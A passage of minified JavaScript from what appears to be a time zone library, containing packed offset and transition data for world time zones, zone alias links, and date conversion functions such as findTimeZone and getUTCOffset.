-02|30 20|01010101010101010101010|1GI50 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0|61e2","America/Montevideo|-02 -03|20 30|01010101|1GI40 1o10 11z0 1o10 11z0 1o10 11z0|17e5","America/Noronha|-02|20|0||30e2","America/Port-au-Prince|EST EDT|50 40|010101010101010101010|1GI70 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 3iN0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0|23e5","Antarctica/Palmer|-03 -04|30 40|010101010|1H3D0 Op0 1zb0 Rd0 1wn0 Rd0 46n0 Ap0|40","America/Santiago|-03 -04|30 40|010101010101010101010|1H3D0 Op0 1zb0 Rd0 1wn0 Rd0 46n0 Ap0 1Nb0 Ap0 1Nb0 Ap0 1zb0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0|62e5","America/Sao_Paulo|-02 -03|20 30|01010101010101010101010|1GCq0 1zd0 Lz0 1C10 Lz0 1C10 On0 1zd0 On0 1zd0 On0 1zd0 On0 1HB0 FX0 1HB0 FX0 1HB0 IL0 1HB0 FX0 1HB0|20e6","Atlantic/Azores|-01 +00|10 0|01010101010101010101010|1GNB0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0|25e4","America/St_Johns|NST NDT|3u 2u|01010101010101010101010|1GI5u 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0|11e4","Antarctica/Casey|+11 +08|-b0 -80|0101|1GAF0 blz0 3m10|10","Antarctica/Davis|+05 +07|-50 -70|01|1GAI0|70","Pacific/Port_Moresby|+10|-a0|0||25e4","Pacific/Guadalcanal|+11|-b0|0||11e4","Asia/Tashkent|+05|-50|0||23e5","Pacific/Auckland|NZDT NZST|-d0 -c0|01010101010101010101010|1GQe0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00|14e5","Asia/Baghdad|+03|-30|0||66e5","Antarctica/Troll|+00 +02|0 -20|01010101010101010101010|1GNB0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0|40","Asia/Dhaka|+06|-60|0||16e6","Asia/Amman|EET EEST|-20 -30|010101010101010101010|1GPy0 4bX0 Dd0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 11A0 1o00|25e5","Asia/Kamchatka|+12|-c0|0||18e4","Asia/Baku|+04 +05|-40 -50|010101010|1GNA0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|27e5","Asia/Bangkok|+07|-70|0||15e6","Asia/Barnaul|+07 +06|-70 -60|010|1N7v0 3rd0","Asia/Beirut|EET EEST|-20 -30|01010101010101010101010|1GNy0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0|22e5","Asia/Kuala_Lumpur|+08|-80|0||71e5","Asia/Kolkata|IST|-5u|0||15e6","Asia/Chita|+10 +08 +09|-a0 -80 -90|012|1N7s0 3re0|33e4","Asia/Ulaanbaatar|+08 +09|-80 -90|01010|1O8G0 1cJ0 1cP0 1cJ0|12e5","Asia/Shanghai|CST|-80|0||23e6","Asia/Colombo|+0530|-5u|0||22e5","Asia/Damascus|EET EEST|-20 -30|01010101010101010101010|1GPy0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0|26e5","Asia/Dili|+09|-90|0||19e4","Asia/Dubai|+04|-40|0||39e5","Asia/Famagusta|EET EEST +03|-20 -30 -30|0101010101201010101010|1GNB0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 15U0 2Ks0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0","Asia/Gaza|EET EEST|-20 -30|01010101010101010101010|1GPy0 1a00 1fA0 1cL0 1cN0 1nX0 1210 1nz0 1220 1qL0 WN0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1qL0 WN0 1qL0 WN0 1qL0|18e5","Asia/Hong_Kong|HKT|-80|0||73e5","Asia/Hovd|+07 +08|-70 -80|01010|1O8H0 1cJ0 1cP0 1cJ0|81e3","Asia/Irkutsk|+09 +08|-90 -80|01|1N7t0|60e4","Europe/Istanbul|EET EEST +03|-20 -30 -30|01010101012|1GNB0 1qM0 11A0 1o00 1200 1nA0 11A0 1tA0 U00 15w0|13e6","Asia/Jakarta|WIB|-70|0||31e6","Asia/Jayapura|WIT|-90|0||26e4","Asia/Jerusalem|IST IDT|-20 -30|01010101010101010101010|1GPA0 1aL0 1eN0 1oL0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0 W10 1rz0 10N0 1oL0 10N0 1oL0 10N0 1rz0 W10 1rz0|81e4","Asia/Kabul|+0430|-4u|0||46e5","Asia/Karachi|PKT|-50|0||24e6","Asia/Kathmandu|+0545|-5J|0||12e5","Asia/Yakutsk|+10 +09|-a0 -90|01|1N7s0|28e4","Asia/Krasnoyarsk|+08 +07|-80 -70|01|1N7u0|10e5","Asia/Magadan|+12 +10 +11|-c0 -a0 -b0|012|1N7q0 3Cq0|95e3","Asia/Makassar|WITA|-80|0||15e5","Asia/Manila|PST|-80|0||24e6","Europe/Athens|EET EEST|-20 -30|01010101010101010101010|1GNB0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0|35e5","Asia/Novosibirsk|+07 +06|-70 -60|010|1N7v0 4eN0|15e5","Asia/Omsk|+07 +06|-70 -60|01|1N7v0|12e5","Asia/Pyongyang|KST KST|-90 -8u|010|1P4D0 6BA0|29e5","Asia/Qyzylorda|+06 +05|-60 -50|01|1Xei0|73e4","Asia/Rangoon|+0630|-6u|0||48e5","Asia/Sakhalin|+11 +10|-b0 -a0|010|1N7r0 3rd0|58e4","Asia/Seoul|KST|-90|0||23e6","Asia/Srednekolymsk|+12 +11|-c0 -b0|01|1N7q0|35e2","Asia/Tehran|+0330 +0430|-3u -4u|01010101010101010101010|1GLUu 1dz0 1cN0 1dz0 1cp0 1dz0 1cp0 1dz0 1cp0 1dz0 1cN0 1dz0 1cp0 1dz0 1cp0 1dz0 1cp0 1dz0 1cN0 1dz0 1cp0 1dz0|14e6","Asia/Tokyo|JST|-90|0||38e6","Asia/Tomsk|+07 +06|-70 -60|010|1N7v0 3Qp0|10e5","Asia/Vladivostok|+11 +10|-b0 -a0|01|1N7r0|60e4","Asia/Yekaterinburg|+06 +05|-60 -50|01|1N7w0|14e5","Europe/Lisbon|WET WEST|0 -10|01010101010101010101010|1GNB0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0|27e5","Atlantic/Cape_Verde|-01|10|0||50e4","Australia/Sydney|AEDT AEST|-b0 -a0|01010101010101010101010|1GQg0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0|40e5","Australia/Adelaide|ACDT ACST|-au -9u|01010101010101010101010|1GQgu 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0|11e5","Australia/Brisbane|AEST|-a0|0||20e5","Australia/Darwin|ACST|-9u|0||12e4","Australia/Eucla|+0845|-8J|0||368","Australia/Lord_Howe|+11 +1030|-b0 -au|01010101010101010101010|1GQf0 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1fAu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu 1cLu 1cMu|347","Australia/Perth|AWST|-80|0||18e5","Pacific/Easter|-05 -06|50 60|010101010101010101010|1H3D0 Op0 1zb0 Rd0 1wn0 Rd0 46n0 Ap0 1Nb0 Ap0 1Nb0 Ap0 1zb0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0|30e2","Europe/Dublin|GMT IST|0 -10|01010101010101010101010|1GNB0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0|12e5","Etc/GMT-1|+01|-10|0|","Pacific/Fakaofo|+13|-d0|0||483","Pacific/Kiritimati|+14|-e0|0||51e2","Etc/GMT-2|+02|-20|0|","Pacific/Tahiti|-10|a0|0||18e4","Pacific/Niue|-11|b0|0||12e2","Etc/GMT+12|-12|c0|0|","Pacific/Galapagos|-06|60|0||25e3","Etc/GMT+7|-07|70|0|","Pacific/Pitcairn|-08|80|0||56","Pacific/Gambier|-09|90|0||125","Etc/UTC|UTC|0|0|","Europe/Ulyanovsk|+04 +03|-40 -30|010|1N7y0 3rd0|13e5","Europe/London|GMT BST|0 -10|01010101010101010101010|1GNB0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0|10e6","Europe/Chisinau|EET EEST|-20 -30|01010101010101010101010|1GNA0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0|67e4","Europe/Kaliningrad|+03 EET|-30 -20|01|1N7z0|44e4","Europe/Kirov|+04 +03|-40 -30|01|1N7y0|48e4","Europe/Moscow|MSK MSK|-40 -30|01|1N7y0|16e6","Europe/Saratov|+04 +03|-40 -30|010|1N7y0 5810","Europe/Simferopol|EET EEST MSK MSK|-20 -30 -40 -30|0101023|1GNB0 1qM0 11A0 1o00 11z0 1nW0|33e4","Europe/Volgograd|+04 +03|-40 -30|010|1N7y0 9Jd0|10e5","Pacific/Honolulu|HST|a0|0||37e4","MET|MET MEST|-10 -20|01010101010101010101010|1GNB0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0","Pacific/Chatham|+1345 +1245|-dJ -cJ|01010101010101010101010|1GQe0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00|600","Pacific/Apia|+14 +13|-e0 -d0|01010101010101010101010|1GQe0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00|37e3","Pacific/Bougainville|+10 +11|-a0 -b0|01|1NwE0|18e4","Pacific/Fiji|+13 +12|-d0 -c0|01010101010101010101010|1Goe0 1Nc0 Ao0 1Q00 xz0 1SN0 uM0 1SM0 uM0 1VA0 s00 1VA0 s00 1VA0 s00 1VA0 uM0 1SM0 uM0 1VA0 s00 1VA0|88e4","Pacific/Guam|ChST|-a0|0||17e4","Pacific/Marquesas|-0930|9u|0||86e2","Pacific/Pago_Pago|SST|b0|0||37e2","Pacific/Norfolk|+1130 +11|-bu -b0|01|1PoCu|25e4","Pacific/Tongatapu|+13 +14|-d0 -e0|010|1S4d0 s00|75e3"],links:["Africa/Abidjan|Africa/Accra","Africa/Abidjan|Africa/Bamako","Africa/Abidjan|Africa/Banjul","Africa/Abidjan|Africa/Bissau","Africa/Abidjan|Africa/Conakry","Africa/Abidjan|Africa/Dakar","Africa/Abidjan|Africa/Freetown","Africa/Abidjan|Africa/Lome","Africa/Abidjan|Africa/Monrovia","Africa/Abidjan|Africa/Nouakchott","Africa/Abidjan|Africa/Ouagadougou","Africa/Abidjan|Africa/Timbuktu","Africa/Abidjan|America/Danmarkshavn","Africa/Abidjan|Atlantic/Reykjavik","Africa/Abidjan|Atlantic/St_Helena","Africa/Abidjan|Etc/GMT","Africa/Abidjan|Etc/GMT+0","Africa/Abidjan|Etc/GMT-0","Africa/Abidjan|Etc/GMT0","Africa/Abidjan|Etc/Greenwich","Africa/Abidjan|GMT","Africa/Abidjan|GMT+0","Africa/Abidjan|GMT-0","Africa/Abidjan|GMT0","Africa/Abidjan|Greenwich","Africa/Abidjan|Iceland","Africa/Algiers|Africa/Tunis","Africa/Cairo|Egypt","Africa/Casablanca|Africa/El_Aaiun","Africa/Johannesburg|Africa/Maseru","Africa/Johannesburg|Africa/Mbabane","Africa/Lagos|Africa/Bangui","Africa/Lagos|Africa/Brazzaville","Africa/Lagos|Africa/Douala","Africa/Lagos|Africa/Kinshasa","Africa/Lagos|Africa/Libreville","Africa/Lagos|Africa/Luanda","Africa/Lagos|Africa/Malabo","Africa/Lagos|Africa/Ndjamena","Africa/Lagos|Africa/Niamey","Africa/Lagos|Africa/Porto-Novo","Africa/Maputo|Africa/Blantyre","Africa/Maputo|Africa/Bujumbura","Africa/Maputo|Africa/Gaborone","Africa/Maputo|Africa/Harare","Africa/Maputo|Africa/Kigali","Africa/Maputo|Africa/Lubumbashi","Africa/Maputo|Africa/Lusaka","Africa/Nairobi|Africa/Addis_Ababa","Africa/Nairobi|Africa/Asmara","Africa/Nairobi|Africa/Asmera","Africa/Nairobi|Africa/Dar_es_Salaam","Africa/Nairobi|Africa/Djibouti","Africa/Nairobi|Africa/Juba","Africa/Nairobi|Africa/Kampala","Africa/Nairobi|Africa/Mogadishu","Africa/Nairobi|Indian/Antananarivo","Africa/Nairobi|Indian/Comoro","Africa/Nairobi|Indian/Mayotte","Africa/Tripoli|Libya","America/Adak|America/Atka","America/Adak|US/Aleutian","America/Anchorage|America/Juneau","America/Anchorage|America/Nome","America/Anchorage|America/Sitka","America/Anchorage|America/Yakutat","America/Anchorage|US/Alaska","America/Campo_Grande|America/Cuiaba","America/Chicago|America/Indiana/Knox","America/Chicago|America/Indiana/Tell_City","America/Chicago|America/Knox_IN","America/Chicago|America/Matamoros","America/Chicago|America/Menominee","America/Chicago|America/North_Dakota/Beulah","America/Chicago|America/North_Dakota/Center","America/Chicago|America/North_Dakota/New_Salem","America/Chicago|America/Rainy_River","America/Chicago|America/Rankin_Inlet","America/Chicago|America/Resolute","America/Chicago|America/Winnipeg","America/Chicago|CST6CDT","America/Chicago|Canada/Central","America/Chicago|US/Central","America/Chicago|US/Indiana-Starke","America/Chihuahua|America/Mazatlan","America/Chihuahua|Mexico/BajaSur","America/Denver|America/Boise","America/Denver|America/Cambridge_Bay","America/Denver|America/Edmonton","America/Denver|America/Inuvik","America/Denver|America/Ojinaga","America/Denver|America/Shiprock","America/Denver|America/Yellowknife","America/Denver|Canada/Mountain","America/Denver|MST7MDT","America/Denver|Navajo","America/Denver|US/Mountain","America/Fortaleza|America/Argentina/Buenos_Aires","America/Fortaleza|America/Argentina/Catamarca","America/Fortaleza|America/Argentina/ComodRivadavia","America/Fortaleza|America/Argentina/Cordoba","America/Fortaleza|America/Argentina/Jujuy","America/Fortaleza|America/Argentina/La_Rioja","America/Fortaleza|America/Argentina/Mendoza","America/Fortaleza|America/Argentina/Rio_Gallegos","America/Fortaleza|America/Argentina/Salta","America/Fortaleza|America/Argentina/San_Juan","America/Fortaleza|America/Argentina/San_Luis","America/Fortaleza|America/Argentina/Tucuman","America/Fortaleza|America/Argentina/Ushuaia","America/Fortaleza|America/Belem","America/Fortaleza|America/Buenos_Aires","America/Fortaleza|America/Catamarca","America/Fortaleza|America/Cayenne","America/Fortaleza|America/Cordoba","America/Fortaleza|America/Jujuy","America/Fortaleza|America/Maceio","America/Fortaleza|America/Mendoza","America/Fortaleza|America/Paramaribo","America/Fortaleza|America/Recife","America/Fortaleza|America/Rosario","America/Fortaleza|America/Santarem","America/Fortaleza|Antarctica/Rothera","America/Fortaleza|Atlantic/Stanley","America/Fortaleza|Etc/GMT+3","America/Halifax|America/Glace_Bay","America/Halifax|America/Goose_Bay","America/Halifax|America/Moncton","America/Halifax|America/Thule","America/Halifax|Atlantic/Bermuda","America/Halifax|Canada/Atlantic","America/Havana|Cuba","America/La_Paz|America/Boa_Vista","America/La_Paz|America/Guyana","America/La_Paz|America/Manaus","America/La_Paz|America/Porto_Velho","America/La_Paz|Brazil/West","America/La_Paz|Etc/GMT+4","America/Lima|America/Bogota","America/Lima|America/Guayaquil","America/Lima|Etc/GMT+5","America/Los_Angeles|America/Dawson","America/Los_Angeles|America/Ensenada","America/Los_Angeles|America/Santa_Isabel","America/Los_Angeles|America/Tijuana","America/Los_Angeles|America/Vancouver","America/Los_Angeles|America/Whitehorse","America/Los_Angeles|Canada/Pacific","America/Los_Angeles|Canada/Yukon","America/Los_Angeles|Mexico/BajaNorte","America/Los_Angeles|PST8PDT","America/Los_Angeles|US/Pacific","America/Los_Angeles|US/Pacific-New","America/Managua|America/Belize","America/Managua|America/Costa_Rica","America/Managua|America/El_Salvador","America/Managua|America/Guatemala","America/Managua|America/Regina","America/Managua|America/Swift_Current","America/Managua|America/Tegucigalpa","America/Managua|Canada/Saskatchewan","America/Mexico_City|America/Bahia_Banderas","America/Mexico_City|America/Merida","America/Mexico_City|America/Monterrey","America/Mexico_City|Mexico/General","America/New_York|America/Detroit","America/New_York|America/Fort_Wayne","America/New_York|America/Indiana/Indianapolis","America/New_York|America/Indiana/Marengo","America/New_York|America/Indiana/Petersburg","America/New_York|America/Indiana/Vevay","America/New_York|America/Indiana/Vincennes","America/New_York|America/Indiana/Winamac","America/New_York|America/Indianapolis","America/New_York|America/Iqaluit","America/New_York|America/Kentucky/Louisville","America/New_York|America/Kentucky/Monticello","America/New_York|America/Louisville","America/New_York|America/Montreal","America/New_York|America/Nassau","America/New_York|America/Nipigon","America/New_York|America/Pangnirtung","America/New_York|America/Thunder_Bay","America/New_York|America/Toronto","America/New_York|Canada/Eastern","America/New_York|EST5EDT","America/New_York|US/East-Indiana","America/New_York|US/Eastern","America/New_York|US/Michigan","America/Noronha|Atlantic/South_Georgia","America/Noronha|Brazil/DeNoronha","America/Noronha|Etc/GMT+2","America/Panama|America/Atikokan","America/Panama|America/Cayman","America/Panama|America/Coral_Harbour","America/Panama|America/Jamaica","America/Panama|EST","America/Panama|Jamaica","America/Phoenix|America/Creston","America/Phoenix|America/Dawson_Creek","America/Phoenix|America/Hermosillo","America/Phoenix|MST","America/Phoenix|US/Arizona","America/Rio_Branco|America/Eirunepe","America/Rio_Branco|America/Porto_Acre","America/Rio_Branco|Brazil/Acre","America/Santiago|Chile/Continental","America/Santo_Domingo|America/Anguilla","America/Santo_Domingo|America/Antigua","America/Santo_Domingo|America/Aruba","America/Santo_Domingo|America/Barbados","America/Santo_Domingo|America/Blanc-Sablon","America/Santo_Domingo|America/Curacao","America/Santo_Domingo|America/Dominica","America/Santo_Domingo|America/Grenada","America/Santo_Domingo|America/Guadeloupe","America/Santo_Domingo|America/Kralendijk","America/Santo_Domingo|America/Lower_Princes","America/Santo_Domingo|America/Marigot","America/Santo_Domingo|America/Martinique","America/Santo_Domingo|America/Montserrat","America/Santo_Domingo|America/Port_of_Spain","America/Santo_Domingo|America/Puerto_Rico","America/Santo_Domingo|America/St_Barthelemy","America/Santo_Domingo|America/St_Kitts","America/Santo_Domingo|America/St_Lucia","America/Santo_Domingo|America/St_Thomas","America/Santo_Domingo|America/St_Vincent","America/Santo_Domingo|America/Tortola","America/Santo_Domingo|America/Virgin","America/Sao_Paulo|Brazil/East","America/St_Johns|Canada/Newfoundland","Antarctica/Palmer|America/Punta_Arenas","Asia/Baghdad|Antarctica/Syowa","Asia/Baghdad|Asia/Aden","Asia/Baghdad|Asia/Bahrain","Asia/Baghdad|Asia/Kuwait","Asia/Baghdad|Asia/Qatar","Asia/Baghdad|Asia/Riyadh","Asia/Baghdad|Etc/GMT-3","Asia/Baghdad|Europe/Minsk","Asia/Bangkok|Asia/Ho_Chi_Minh","Asia/Bangkok|Asia/Novokuznetsk","Asia/Bangkok|Asia/Phnom_Penh","Asia/Bangkok|Asia/Saigon","Asia/Bangkok|Asia/Vientiane","Asia/Bangkok|Etc/GMT-7","Asia/Bangkok|Indian/Christmas","Asia/Dhaka|Antarctica/Vostok","Asia/Dhaka|Asia/Almaty","Asia/Dhaka|Asia/Bishkek","Asia/Dhaka|Asia/Dacca","Asia/Dhaka|Asia/Kashgar","Asia/Dhaka|Asia/Qostanay","Asia/Dhaka|Asia/Thimbu","Asia/Dhaka|Asia/Thimphu","Asia/Dhaka|Asia/Urumqi","Asia/Dhaka|Etc/GMT-6","Asia/Dhaka|Indian/Chagos","Asia/Dili|Etc/GMT-9","Asia/Dili|Pacific/Palau","Asia/Dubai|Asia/Muscat","Asia/Dubai|Asia/Tbilisi","Asia/Dubai|Asia/Yerevan","Asia/Dubai|Etc/GMT-4","Asia/Dubai|Europe/Samara","Asia/Dubai|Indian/Mahe","Asia/Dubai|Indian/Mauritius","Asia/Dubai|Indian/Reunion","Asia/Gaza|Asia/Hebron","Asia/Hong_Kong|Hongkong","Asia/Jakarta|Asia/Pontianak","Asia/Jerusalem|Asia/Tel_Aviv","Asia/Jerusalem|Israel","Asia/Kamchatka|Asia/Anadyr","Asia/Kamchatka|Etc/GMT-12","Asia/Kamchatka|Kwajalein","Asia/Kamchatka|Pacific/Funafuti","Asia/Kamchatka|Pacific/Kwajalein","Asia/Kamchatka|Pacific/Majuro","Asia/Kamchatka|Pacific/Nauru","Asia/Kamchatka|Pacific/Tarawa","Asia/Kamchatka|Pacific/Wake","Asia/Kamchatka|Pacific/Wallis","Asia/Kathmandu|Asia/Katmandu","Asia/Kolkata|Asia/Calcutta","Asia/Kuala_Lumpur|Asia/Brunei","Asia/Kuala_Lumpur|Asia/Kuching","Asia/Kuala_Lumpur|Asia/Singapore","Asia/Kuala_Lumpur|Etc/GMT-8","Asia/Kuala_Lumpur|Singapore","Asia/Makassar|Asia/Ujung_Pandang","Asia/Rangoon|Asia/Yangon","Asia/Rangoon|Indian/Cocos","Asia/Seoul|ROK","Asia/Shanghai|Asia/Chongqing","Asia/Shanghai|Asia/Chungking","Asia/Shanghai|Asia/Harbin","Asia/Shanghai|Asia/Macao","Asia/Shanghai|Asia/Macau","Asia/Shanghai|Asia/Taipei","Asia/Shanghai|PRC","Asia/Shanghai|ROC","Asia/Tashkent|Antarctica/Mawson","Asia/Tashkent|Asia/Aqtau","Asia/Tashkent|Asia/Aqtobe","Asia/Tashkent|Asia/Ashgabat","Asia/Tashkent|Asia/Ashkhabad","Asia/Tashkent|Asia/Atyrau","Asia/Tashkent|Asia/Dushanbe","Asia/Tashkent|Asia/Oral","Asia/Tashkent|Asia/Samarkand","Asia/Tashkent|Etc/GMT-5","Asia/Tashkent|Indian/Kerguelen","Asia/Tashkent|Indian/Maldives","Asia/Tehran|Iran","Asia/Tokyo|Japan","Asia/Ulaanbaatar|Asia/Choibalsan","Asia/Ulaanbaatar|Asia/Ulan_Bator","Asia/Vladivostok|Asia/Ust-Nera","Asia/Yakutsk|Asia/Khandyga","Atlantic/Azores|America/Scoresbysund","Atlantic/Cape_Verde|Etc/GMT+1","Australia/Adelaide|Australia/Broken_Hill","Australia/Adelaide|Australia/South","Australia/Adelaide|Australia/Yancowinna","Australia/Brisbane|Australia/Lindeman","Australia/Brisbane|Australia/Queensland","Australia/Darwin|Australia/North","Australia/Lord_Howe|Australia/LHI","Australia/Perth|Australia/West","Australia/Sydney|Australia/ACT","Australia/Sydney|Australia/Canberra","Australia/Sydney|Australia/Currie","Australia/Sydney|Australia/Hobart","Australia/Sydney|Australia/Melbourne","Australia/Sydney|Australia/NSW","Australia/Sydney|Australia/Tasmania","Australia/Sydney|Australia/Victoria","Etc/UTC|Etc/UCT","Etc/UTC|Etc/Universal","Etc/UTC|Etc/Zulu","Etc/UTC|UCT","Etc/UTC|UTC","Etc/UTC|Universal","Etc/UTC|Zulu","Europe/Athens|Asia/Nicosia","Europe/Athens|EET","Europe/Athens|Europe/Bucharest","Europe/Athens|Europe/Helsinki","Europe/Athens|Europe/Kiev","Europe/Athens|Europe/Mariehamn","Europe/Athens|Europe/Nicosia","Europe/Athens|Europe/Riga","Europe/Athens|Europe/Sofia","Europe/Athens|Europe/Tallinn","Europe/Athens|Europe/Uzhgorod","Europe/Athens|Europe/Vilnius","Europe/Athens|Europe/Zaporozhye","Europe/Chisinau|Europe/Tiraspol","Europe/Dublin|Eire","Europe/Istanbul|Asia/Istanbul","Europe/Istanbul|Turkey","Europe/Lisbon|Atlantic/Canary","Europe/Lisbon|Atlantic/Faeroe","Europe/Lisbon|Atlantic/Faroe","Europe/Lisbon|Atlantic/Madeira","Europe/Lisbon|Portugal","Europe/Lisbon|WET","Europe/London|Europe/Belfast","Europe/London|Europe/Guernsey","Europe/London|Europe/Isle_of_Man","Europe/London|Europe/Jersey","Europe/London|GB","Europe/London|GB-Eire","Europe/Moscow|W-SU","Europe/Paris|Africa/Ceuta","Europe/Paris|Arctic/Longyearbyen","Europe/Paris|Atlantic/Jan_Mayen","Europe/Paris|CET","Europe/Paris|Europe/Amsterdam","Europe/Paris|Europe/Andorra","Europe/Paris|Europe/Belgrade","Europe/Paris|Europe/Berlin","Europe/Paris|Europe/Bratislava","Europe/Paris|Europe/Brussels","Europe/Paris|Europe/Budapest","Europe/Paris|Europe/Busingen","Europe/Paris|Europe/Copenhagen","Europe/Paris|Europe/Gibraltar","Europe/Paris|Europe/Ljubljana","Europe/Paris|Europe/Luxembourg","Europe/Paris|Europe/Madrid","Europe/Paris|Europe/Malta","Europe/Paris|Europe/Monaco","Europe/Paris|Europe/Oslo","Europe/Paris|Europe/Podgorica","Europe/Paris|Europe/Prague","Europe/Paris|Europe/Rome","Europe/Paris|Europe/San_Marino","Europe/Paris|Europe/Sarajevo","Europe/Paris|Europe/Skopje","Europe/Paris|Europe/Stockholm","Europe/Paris|Europe/Tirane","Europe/Paris|Europe/Vaduz","Europe/Paris|Europe/Vatican","Europe/Paris|Europe/Vienna","Europe/Paris|Europe/Warsaw","Europe/Paris|Europe/Zagreb","Europe/Paris|Europe/Zurich","Europe/Paris|Poland","Europe/Ulyanovsk|Europe/Astrakhan","Pacific/Auckland|Antarctica/McMurdo","Pacific/Auckland|Antarctica/South_Pole","Pacific/Auckland|NZ","Pacific/Chatham|NZ-CHAT","Pacific/Easter|Chile/EasterIsland","Pacific/Fakaofo|Etc/GMT-13","Pacific/Fakaofo|Pacific/Enderbury","Pacific/Galapagos|Etc/GMT+6","Pacific/Gambier|Etc/GMT+9","Pacific/Guadalcanal|Antarctica/Macquarie","Pacific/Guadalcanal|Etc/GMT-11","Pacific/Guadalcanal|Pacific/Efate","Pacific/Guadalcanal|Pacific/Kosrae","Pacific/Guadalcanal|Pacific/Noumea","Pacific/Guadalcanal|Pacific/Pohnpei","Pacific/Guadalcanal|Pacific/Ponape","Pacific/Guam|Pacific/Saipan","Pacific/Honolulu|HST","Pacific/Honolulu|Pacific/Johnston","Pacific/Honolulu|US/Hawaii","Pacific/Kiritimati|Etc/GMT-14","Pacific/Niue|Etc/GMT+11","Pacific/Pago_Pago|Pacific/Midway","Pacific/Pago_Pago|Pacific/Samoa","Pacific/Pago_Pago|US/Samoa","Pacific/Pitcairn|Etc/GMT+8","Pacific/Port_Moresby|Antarctica/DumontDUrville","Pacific/Port_Moresby|Etc/GMT-10","Pacific/Port_Moresby|Pacific/Chuuk","Pacific/Port_Moresby|Pacific/Truk","Pacific/Port_Moresby|Pacific/Yap","Pacific/Tahiti|Etc/GMT+10","Pacific/Tahiti|Pacific/Rarotonga"]}).zones,m=e.links,c={},i=u.map(function(a){var i=a.substr(0,a.indexOf("|"));return c[i]=a,i}),o=m.reduce(function(a,i){var e=i.split("|"),r=e[0];return a[e[1]]=r,a},{}),n={},a.convertDateToTime=function(a){var i=h(a),e=/\(([^)]+)\)$/.exec(a.toTimeString());return i.zone={abbreviation:e?e[1]:"???",offset:a.getTimezoneOffset()},z(i,a.getTime()),i},a.convertTimeToDate=function(a){var i=a.epoch;if(void 0!==i)return new Date(i);var e=(a.zone||{}).offset;if(void 0===e)return function(a){var i=a.year,e=a.month,r=a.day,A=a.hours,c=void 0===A?0:A,o=a.minutes,n=void 0===o?0:o,t=a.seconds,s=void 0===t?0:t,u=a.milliseconds;return new Date(i,e-1,r,c,n,s,void 0===u?0:u)}(a);var r=d(a);return new Date(r+6e4*e)},a.findTimeZone=function(a){var i=o[a]||a,e=n[i];if(!e){var r=c[i];if(!r)throw new Error('Unknown time zone "'+i+'".');e=n[i]=A(r)}return e},a.getUTCOffset=function(a,i){var e=T("number"==typeof a?a:a.getTime(),i);return{abbreviation:e.abbreviation,offset:e.offset}},a.getUnixTime=function(a,i){var e=a.zone,r=a.epoch;if(r){if(i)throw new Error("Both epoch and other time zone specified. Omit the other one.");return r}var A=d(a);if(e){if(i)throw new Error("Both own and other time zones specified. Omit the 